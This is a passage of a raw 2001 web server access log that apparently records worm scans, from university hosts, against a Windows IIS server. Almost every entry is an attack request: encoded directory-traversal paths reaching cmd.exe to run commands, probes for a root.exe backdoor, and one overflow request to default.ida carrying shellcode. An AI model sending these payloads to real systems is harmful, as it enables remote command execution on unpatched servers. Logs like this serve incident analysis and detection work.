/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:06: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:14: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:14: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 14:25:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 14:25:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:26:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:26:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:26:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:36:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:42:59: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 14:43:53: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 14:43:53: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:53: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:53: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:55: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:55: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:55: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:55: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:55: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:43:55: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 14:49:21: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 14:49:21: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:21: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:23: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:23: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:23: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:49:25: bus84-017.gsb.columbia.edu [128.59.84.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 14:59:22: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 15:02:02: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 15:02:03: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:03: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:02:06: wily-b-150.resnet.purdue.edu [128.211.225.150] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 15:03:24: wily-b-150.resnet.purdue.edu [128.211.225.150] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 15:03:28: wily-b-150.resnet.purdue.edu [128.211.225.150] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:03:36: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 15:08:50: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 15:08:51: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:08:51: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:08:51: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:08:51: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:08:52: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:08:52: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:08:52: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:08:54: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:08:54: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:08:56: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:08:57: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:09:01: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:09:01: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:09:02: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:09:02: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:12:08: [63.83.98.226] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 15:19:45: [63.83.98.226] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 15:20:06: [63.83.98.226] "" 20010919 15:20:37: [63.83.98.226] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:20:55: [63.83.98.226] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:21:20: [63.83.98.226] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:21:42: [63.83.98.226] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:22:00: [63.83.98.226] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:22:22: [63.83.98.226] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:22:40: [63.83.98.226] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:22:59: [63.83.98.226] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:17: [63.83.98.226] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:24:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:24:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:24:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:29:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 15:43:27: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 